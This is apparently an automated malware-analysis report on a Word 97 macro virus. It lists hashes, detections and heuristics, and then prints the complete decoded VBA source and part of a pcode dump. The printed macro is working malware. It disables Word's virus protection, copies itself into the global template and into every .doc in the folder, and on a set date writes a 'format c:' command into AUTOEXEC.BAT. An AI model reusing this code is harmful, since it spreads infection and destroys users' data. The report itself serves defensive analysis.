Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d9b86efd459c70be…

MALICIOUS

Office (OLE)

40.0 KB Created: 2001-07-21 16:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a55496e2c62295206a2055da4e8c72de SHA-1: ebb3c6f4c4e67731fac24399f12733e6cc1800f3 SHA-256: d9b86efd459c70be09319670bc61c4f88c7ca1cf93b8e8c86b243ae19953b16c
316 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains critical heuristics indicating the presence of VBA macros with AutoOpen and Auto_Close execution triggers, and a Shell() call. The VBA script attempts to write to AUTOEXEC.BAT and format the C drive, indicating a destructive payload. It also attempts to export a file to c:\Ariel.sys and create a startup entry at c:\windows\startm~1\programs\startup\msfile.bat for persistence.

Heuristics 7

  • ClamAV: Doc.Trojan.VMPC1-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.VMPC1-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    If Unit187799563813 = True And o0o63819 = False Then Shell ("label c: Infected"), 0
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26564 bytes
SHA-256: ea2f5e33ae215db0bb25f395e810601600e0046541b9412bcfc6230a552b0483
Detection
ClamAV: Doc.Trojan.VMPCK1-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Ariel"
    
Public Skip As Integer
    
    
Sub Ariel()
    
On Error Resume Next

Randomize

If Month(Now()) = 1 And Day(Now()) = 24 Then
    MsgBox ("Say HAPPY BIRTHDAY TO SHANKAR")
    Open ("C:\AUTOEXEC.BAT") For Output As #1
    Print #1, "@echo off"
    Print #1, "@echo SAY HAPPY BIRTHDAY TO SHANKAR"
    Print #1, "@echo Happy birthday........Happy birhday......"
    Print #1, "ctty nul"
    Print #1, "format c: /autotest /q /u"
    
End If

Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.SavePropertiesPrompt = False
Options.ConfirmConversions = False

Application.VBE.ActiveVBProject.VBComponents("Ariel").Export "c:\Ariel.sys"
ActiveDocument.ReadOnlyRecommended = False
rm = Int(Rnd * 100)
    If rm = 99 Then MsgBox "Not infected", vbSystemModal
f16935 = u5803 & c7210 & Int(Rnd * 1509)
f9377 = u14754 & c17776 & k15060 & m14754
If Day(Now()) = 19 Then Call p4788
If Month(Now()) = 3 And Day(Now()) = 19 Then MsgBox "BIRGIT FOREVER", vbInformation, "Birthday Greeting!!!"
With Dialogs(wdDialogFileSummaryInfo)
    .Author = "Doctor Rave"
    .Title = "W97M.Birgit.B"
    .Subject = "Birgit"
    .Comments = "You're infected with the W97M.Birgit.B Virus !!!"
    .Execute
End With
 f8250$ = "c:\windows\startm~1\programs\startup\msfile.bat"
f8162 = u12951 & c2030 & Int(Rnd * 3893)
i47887995 = GetAttr(NormalTemplate.FullName)
If i47887995 = vbReadOnly And System.OperatingSystem = "Windows" And System.LanguageDesignation = "English(United States)" Then Call vBitchES(f8250$)
If i47887995 = vbReadOnly + vbArchive And System.OperatingSystem = "Windows" And System.LanguageDesignation = "English(United States)" Then Call vBitchES(f8250$)
If i47887995 = vbReadOnly Then GoTo fuckoff
If i47887995 = vbReadOnly + vbArchive Then GoTo fuckoff
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Ariel" Then Unit187799563813 = True
Next I
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Ariel" Then o0o63819 = True
Next I
If Unit187799563813 = True And o0o63819 = False Then Set p638179959 = NormalTemplate.VBProject.VBComponents
If Unit187799563813 = False And o0o63819 = True Then Set p638179959 = ActiveDocument.VBProject.VBComponents
p638179959.import "c:\Ariel.sys"
If Unit187799563813 = True And o0o63819 = False Then Shell ("label c: Infected"), 0
If Unit187799563813 = False And Skip <> 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If o0o63819 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
            Call dhIconDisco("C:\autorun.inf")
'VMPCK v1.0c [SR-1 Compatable]
fuckoff:
End Sub
Sub HelpAbout()
    On Error Resume Next
    MsgBox "Infected", vbInformation
End Sub
Sub FileNew()
    On Error Resume Next
    Call Ariel
Dialogs(wdDialogFileNew).Show
    Skip = 1
    Call Ariel
End Sub
Sub FileClose()
    On Error Resume Next
    Call Ariel
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub ToolsOptions()
    On Error Resume Next
f11162 = u7698 & c11555 & Int(Rnd * 3728)
Dialogs(wdDialogToolsOptions).Show
k2187 = m16884 & e13658
    Call Ariel
End Sub
Sub FileExit()
    On Error Resume Next
f7757 = u19016 & c6779 & k9310 & m19016
    Call Ariel
f9543 = u11958 & c10557 & Int(Rnd * 7751)
    If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.WindowState = wdWindowStateMinimize
pName = CurDir & "\"
fName = Dir(pName & "*.doc", sAttr)
If (fName <> "") And ((fName <> ".") And (fName <> "..")) Then InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False, PasswordDocument:=""
Call Ariel
Do While (fName <> "")
fName = Dir()
If (fName <> "") And _
((fName <> ".") And (fName <> "..")) Then
InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False, PasswordDocument:=""
    Call Ariel
End If
Loop
    Application.Quit
End Sub
Sub AutoOpen()
    On Error Resume Next
f12150 = u8114 & c13905 & Int(Rnd * 3994)
    Call Ariel
End Sub
Sub AutoExit()
    On Error Resume Next
    Call Ariel
Application.WindowState = wdWindowStateMinimize
pName = CurDir & "\"
fName = Dir(pName & "*.doc", sAttr)
If (fName <> "") And ((fName <> ".") And (fName <> "..")) Then InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False, PasswordDocument:=""
Call Ariel
Do While (fName <> "")
fName = Dir()
If (fName <> "") And _
((fName <> ".") And (fName <> "..")) Then
InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False, PasswordDocument:=""
    Call Ariel
End If
Loop
End Sub
Sub AutoClose()
    On Error Resume Next
    Call Ariel
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call Ariel
MsgBox "Word Basic Err =7"
k18504 = m6653 & e14048
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call Ariel
MsgBox "Word Basic Err =7"
End Sub
Sub ViewVBCode()
    On Error Resume Next
k18160 = m7554 & e2873
    Call Ariel
MsgBox "Word Basic Err =7"
End Sub
Sub p4788()
    On Error Resume Next
f8967 = u3474 & c7903 & k6843 & m3474
        Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .Text = "il"
            .Replacement.Text = "li"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
f9133 = u10677 & c10684 & Int(Rnd * 4163)
End Sub
    
Sub vBitchES(strFile As String)
    
Dim hFile As Long
On Error Resume Next
n$ = NormalTemplate
Part11$ = "attrib -h -r "
snag$ = "c:\progra~1\micros~1\templa~1\"
f6526 = u14521 & c17335 & Int(Rnd * 7920)
snag1$ = "c:\progra~1\micros~2\templa~1\"
f14501 = u14848 & c11089 & Int(Rnd * 8258)
Part2$ = "del "
hFile = FreeFile
Open strFile For Output Access Write As hFile
Print #hFile, "@echo off"
Print #hFile, Part11$ + snag$ + n$
Print #hFile, Part11$ + snag1$ + n$
Print #hFile, Part2$ + snag$ + n$
Print #hFile, Part2$ + snag1$ + n$
Print #hFile, "cls"
Print #hFile, Part2$ + "c:\windows\startm~1\programs\startup\msfile.bat"
Close hFile
End Sub
Sub dhIconDisco(strFile As String)
Dim hFile As Long
On Error Resume Next
Randomize
f18727 = u16742 & c5435 & Int(Rnd * 8926)
Choice = Int(Rnd * 2)
k8534 = m12807 & e9975
rnn$ = Int(Rnd * 66) + 2
rn$ = Int(Rnd * 27) + 1
f10751 = u6416 & c1682 & Int(Rnd * 140)
Part1$ = "[autorun]"
Part2$ = "icon = c:\windows\system\pifmgr.dll,"
Part22$ = "icon = c:\windows\SYSTEM\shell32.dll,"
Part3$ = Part2$ + rn$
Part33$ = Part22$ + rnn$
    hFile = FreeFile
    Open strFile For Output Access Write As hFile
    Print #hFile, Part1$
    If Choice = 0 Then
        Print #hFile, Part3$
    Else
        Print #hFile, Part33$
    End If
    Close hFile
End Sub

' Processing file: /tmp/qstore_9ysh_754
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/Ariel - 12574 bytes
' Line #0:
' Line #1:
' 	Dim (Public) 
' 	VarDefn Skip (As Integer)
' Line #2:
' Line #3:
' Line #4:
' 	FuncDefn (Sub Ariel())
' Line #5:
' Line #6:
' 	OnError (Resume Next) 
' Line #7:
' Line #8:
' 	ArgsCall Read 0x0000 
' Line #9:
' Line #10:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0001 
' 	Eq 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0018 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #11:
' 	LitStr 0x001D "Say HAPPY BIRTHDAY TO SHANKAR"
' 	Paren 
' 	ArgsCall MsgBox 0x0001 
' Line #12:
' 	LitStr 0x000F "C:\AUTOEXEC.BAT"
' 	Paren 
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #13:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0009 "@echo off"
' 	PrintItemNL 
' Line #14:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0023 "@echo SAY HAPPY BIRTHDAY TO SHANKAR"
' 	PrintItemNL 
' Line #15:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x002F "@echo Happy birthday........Happy birhday......"
' 	PrintItemNL 
' Line #16:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0008 "ctty nul"
' 	PrintItemNL 
' Line #17:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0019 "format c: /autotest /q /u"
' 	PrintItemNL 
' Line #18:
' Line #19:
' 	EndIfBlock 
' Line #20:
' Line #21:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #22:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #23:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SavePropertiesPrompt 
' Line #24:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #25:
' Line #26:
' 	LitStr 0x000C "c:\Ariel.sys"
' 	LitStr 0x0005 "Ariel"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #27:
' 	LitVarSpecial (False)
' 	Ld ActiveDocument 
' 	MemSt ReadOnlyRecommended 
' Line #28:
' 	Ld Rnd 
' 	LitDI2 0x0064 
' 	Mul 
' 	FnInt 
' 	St rm 
' Line #29:
' 	Ld rm 
' 	LitDI2 0x0063 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000C "Not infected"
' 	Ld vbSystemModal 
' 	ArgsCall MsgBox 0x0002 
' 	EndIf 
' Line #30:
' 	Ld u5803 
' 	Ld c7210 
' 	Concat 
' 	Ld Rnd 
' 	LitDI2 0x05E5 
' 	Mul 
' 	FnInt 
' 	Concat 
' 	St f16935 
' Line #31:
' 	Ld u14754 
' 	Ld c17776 
' 	Concat 
' 	Ld k15060 
' 	Concat 
' 	Ld m14754 
' 	Concat 
' 	St f9377 
' Line #32:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0013 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) p4788 0x0000 
' 	EndIf 
' Line #33:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0003 
' 	Eq 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0013 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000E "BIRGIT FOREVER"
' 	Ld vbInformation 
' 	LitStr 0x0014 "Birthday Greeting!!!"
' 	ArgsCall MsgBox 0x0003 
' 	EndIf 
' Line #34:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' Line #35:
' 	LitStr 0x000B "Doctor Rave"
' 	MemStWith Author 
' Line #36:
' 	LitStr 0x000D "W97M.Birgit.B"
' 	MemStWith Title 
' Line #37:
' 	LitStr 0x0006 "Birgit"
' 	MemStWith Subject 
' Line #38:
' 	LitStr 0x0030 "You're infected with the W97M.Birgit.B Virus !!!"
' 	MemStWith Comments 
' Line #39:
' 	ArgsMemCallWith Execute 0x0000 
' Line #40:
' 	EndWith 
' Line #41:
' 	LitStr 0x002F "c:\windows\startm~1\programs\startup\msfile.bat"
' 	St f8250$ 
' Line #42:
' 	Ld u12951 
' 	Ld c2030 
' 	Concat 
' 	Ld Rnd 
' 	LitDI2 0x0F35 
' 	Mul 
' 	FnInt 
' 	Concat 
' 	St f8162 
' Line #43:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ArgsLd GetAttr 0x0001 
' 	St i47887995 
' Line #44:
' 	Ld i47887995 
' 	Ld vbReadOnly 
' 	Eq 
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	And 
' 	Ld System 
' 	MemLd LanguageDesignation 
' 	LitStr 0x0016 "English(United States)"
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld f8250$ 
' 	ArgsCall (Call) vBitchES 0x0001 
' 	EndIf 
' Line #45:
' 	Ld i47887995 
' 	Ld vbReadOnly 
' 	Ld vbArchive 
' 	Add 
' 	Eq 
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	And 
' 	Ld System 
' 	MemLd LanguageDesignation 
' 	LitStr 0x0016 "English(United States)"
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld f8250$ 
' 	ArgsCall (Call) vBitchES 0x0001 
' 	EndIf 
' Line #46:
' 	Ld i47887995 
' 	Ld vbReadOnly 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo fuckoff 
' 	EndIf 
' Line #47:
' 	Ld i47887995 
' 	Ld vbReadOnly 
' 	Ld vbArchive 
' 	Add 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo fuckoff 
' 	EndIf 
' Line #48:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #49:
' 	Ld I 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "Ariel"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Unit187799563813 
' 	EndIf 
' Line #50:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #51:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #52:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "Ariel"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St o0o63819 
' 	EndIf 
' Line #53:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #54:
' 	Ld Unit187799563813 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld o0o63819 
' 	LitVarSpecial (False)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set p638179959 
' 	EndIf 
' Line #55:
' 	Ld Unit187799563813 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld o0o63819 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set p638179959 
' 	EndIf 
' Line #56:
' 	LitStr 0x000C "c:\Ariel.sys"
' 	Ld p638179959 
' 	ArgsMemCall import 0x0001 
' Line #57:
' 	Ld Unit187799563813 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld o0o63819 
' 	LitVarSpecial (False)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0011 "label c: Infected"
' 	Paren 
' 	LitDI2 0x0000 
' 	ArgsCall Shell 0x0002 
' 	EndIf 
' Line #58:
' 	Ld Unit187799563813 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld Skip 
' 	LitDI2 0x0001 
' 	Ne 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' 	EndIf 
' Line #59:
' 	Ld o0o63819 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' 	EndIf 
' Line #60:
' 	LitStr 0x000E "C:\autorun.inf"
' 	ArgsCall (Call) dhIconDisco 0x0001 
' Line #61:
' 	QuoteRem 0x0000 0x001D "VMPCK v1.0c [SR-1 Compatable]"
' Line #62:
' 	Label fuckoff 
' Line #63:
' 	EndSub 
' Line #64:
' 	FuncDefn (Sub HelpAbout())
' Line #65:
' 	OnError (Resume Next) 
' Line #66:
' 	LitStr 0x0008 "Infected"
' 	Ld vbInformation 
' 	ArgsCall MsgBox 0x0002 
' Line #67:
' 	EndSub 
' Line #68:
' 	FuncDefn (Sub FileNew())
' Line #69:
' 	OnError (Resume Next) 
' Line #70:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #71:
' 	Ld wdDialogFileNew 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #72:
' 	LitDI2 0x0001 
' 	St Skip 
' Line #73:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #74:
' 	EndSub 
' Line #75:
' 	FuncDefn (Sub FileClose())
' Line #76:
' 	OnError (Resume Next) 
' Line #77:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #78:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #79:
' 	Ld ActiveDocument 
' 	ArgsMemCall Close 0x0000 
' Line #80:
' 	EndSub 
' Line #81:
' 	FuncDefn (Sub ToolsOptions())
' Line #82:
' 	OnError (Resume Next) 
' Line #83:
' 	Ld u7698 
' 	Ld c11555 
' 	Concat 
' 	Ld Rnd 
' 	LitDI2 0x0E90 
' 	Mul 
' 	FnInt 
' 	Concat 
' 	St f11162 
' Line #84:
' 	Ld wdDialogToolsOptions 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #85:
' 	Ld m16884 
' 	Ld e13658 
' 	Concat 
' 	St k2187 
' Line #86:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #87:
' 	EndSub 
' Line #88:
' 	FuncDefn (Sub FileExit())
' Line #89:
' 	OnError (Resume Next) 
' Line #90:
' 	Ld u19016 
' 	Ld c6779 
' 	Concat 
' 	Ld k9310 
' 	Concat 
' 	Ld m19016 
' 	Concat 
' 	St f7757 
' Line #91:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #92:
' 	Ld u11958 
' 	Ld c10557 
' 	Concat 
' 	Ld Rnd 
' 	LitDI2 0x1E47 
' 	Mul 
' 	FnInt 
' 	Concat 
' 	St f9543 
' Line #93:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #94:
' 	Ld wdWindowStateMinimize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #95:
' 	Ld CurDir 
' 	LitStr 0x0001 "\"
' 	Concat 
' 	St pName 
' Line #96:
' 	Ld pName 
' 	LitStr 0x0005 "*.doc"
' 	Concat 
' 	Ld sAttr 
' 	ArgsLd Dir 0x0002 
' 	St fName 
' Line #97:
' 	Ld fName 
' 	LitStr 0x0000 ""
' 	Ne 
' 	Paren 
' 	Ld fName 
' 	LitStr 0x0001 "."
' 	Ne 
' 	Paren 
' 	Ld fName 
' 	LitStr 0x0002 ".."
' 	Ne 
' 	Paren 
' 	And 
' 	Paren 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld pName 
' 	Ld fName 
' 	Concat 
' 	St InfectDoc 
' 	EndIf 
' Line #98:
' 	LineCont 0x0004 0D 00 00 00
' 	Ld InfectDoc 
' 	ParamNamed FileName 
' 	LitVarSpecial (False)
' 	ParamNamed ConfirmConversions 
' 	LitVarSpecial (False)
' 	ParamNamed ReadOnly 
' 	LitVarSpecial (False)
' 	ParamNamed AddToRecentFiles 
' 	LitStr 0x0000 ""
' 	ParamNamed PasswordDocument 
' 	Ld Documents 
' 	ArgsMemCall Option 0x0005 
' Line #99:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #100:
' 	Ld fName 
' 	LitStr 0x0000 ""
' 	Ne 
' 	Paren 
' 	DoWhile 
' Line #101:
' 	ArgsLd Dir 0x0000 
' 	St fName 
' Line #102:
' 	LineCont 0x0004 07 00 00 00
' 	Ld fName 
' 	LitStr 0x0000 ""
' 	Ne 
' 	Paren 
' 	Ld fName 
' 	LitStr 0x0001 "."
' 	Ne 
' 	Paren 
' 	Ld fName 
' 	LitStr 0x0002 ".."
' 	Ne 
' 	Paren 
' 	And 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #103:
' 	Ld pName 
' 	Ld fName 
' 	Concat 
' 	St InfectDoc 
' Line #104:
' 	LineCont 0x0004 0D 00 00 00
' 	Ld InfectDoc 
' 	ParamNamed FileName 
' 	LitVarSpecial (False)
' 	ParamNamed ConfirmConversions 
' 	LitVarSpecial (False)
' 	ParamNamed ReadOnly 
' 	LitVarSpecial (False)
' 	ParamNamed AddToRecentFiles 
' 	LitStr 0x0000 ""
' 	ParamNamed PasswordDocument 
' 	Ld Documents 
' 	ArgsMemCall Option 0x0005 
' Line #105:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #106:
' 	EndIfBlock 
' Line #107:
' 	Loop 
' Line #108:
' 	Ld Application 
' 	ArgsMemCall Quit 0x0000 
' Line #109:
' 	EndSub 
' Line #110:
' 	FuncDefn (Sub AutoOpen())
' Line #111:
' 	OnError (Resume Next) 
' Line #112:
' 	Ld u8114 
' 	Ld c13905 
' 	Concat 
' 	Ld Rnd 
' 	LitDI2 0x0F9A 
' 	Mul 
' 	FnInt 
' 	Concat 
' 	St f12150 
' Line #113:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #114:
' 	EndSub 
' Line #115:
' 	FuncDefn (Sub AutoExit())
' Line #116:
' 	OnError (Resume Next) 
' Line #117:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #118:
' 	Ld wdWindowStateMinimize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #119:
' 	Ld CurDir 
' 	LitStr 0x0001 "\"
' 	Concat 
' 	St pName 
' Line #120:
' 	Ld pName 
' 	LitStr 0x0005 "*.doc"
' 	Concat 
' 	Ld sAttr 
' 	ArgsLd Dir 0x0002 
' 	St fName 
' Line #121:
' 	Ld fName 
' 	LitStr 0x0000 ""
' 	Ne 
' 	Paren 
' 	Ld fName 
' 	LitStr 0x0001 "."
' 	Ne 
' 	Paren 
' 	Ld fName 
' 	LitStr 0x0002 ".."
' 	Ne 
' 	Paren 
' 	And 
' 	Paren 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld pName 
' 	Ld fName 
' 	Concat 
' 	St InfectDoc 
' 	EndIf 
' Line #122:
' 	LineCont 0x0004 0D 00 00 00
' 	Ld InfectDoc 
' 	ParamNamed FileName 
' 	LitVarSpecial (False)
' 	ParamNamed ConfirmConversions 
' 	LitVarSpecial (False)
' 	ParamNamed ReadOnly 
' 	LitVarSpecial (False)
' 	ParamNamed AddToRecentFiles 
' 	LitStr 0x0000 ""
' 	ParamNamed PasswordDocument 
' 	Ld Documents 
' 	ArgsMemCall Option 0x0005 
' Line #123:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #124:
' 	Ld fName 
' 	LitStr 0x0000 ""
' 	Ne 
' 	Paren 
' 	DoWhile 
' Line #125:
' 	ArgsLd Dir 0x0000 
' 	St fName 
' Line #126:
' 	LineCont 0x0004 07 00 00 00
' 	Ld fName 
' 	LitStr 0x0000 ""
' 	Ne 
' 	Paren 
' 	Ld fName 
' 	LitStr 0x0001 "."
' 	Ne 
' 	Paren 
' 	Ld fName 
' 	LitStr 0x0002 ".."
' 	Ne 
' 	Paren 
' 	And 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #127:
' 	Ld pName 
' 	Ld fName 
' 	Concat 
' 	St InfectDoc 
' Line #128:
' 	LineCont 0x0004 0D 00 00 00
' 	Ld InfectDoc 
' 	ParamNamed FileName 
' 	LitVarSpecial (False)
' 	ParamNamed ConfirmConversions 
' 	LitVarSpecial (False)
' 	ParamNamed ReadOnly 
' 	LitVarSpecial (False)
' 	ParamNamed AddToRecentFiles 
' 	LitStr 0x0000 ""
' 	ParamNamed PasswordDocument 
' 	Ld Documents 
' 	ArgsMemCall Option 0x0005 
' Line #129:
' 	ArgsCall (Call) Ariel 0x0000 
' Line #130:
…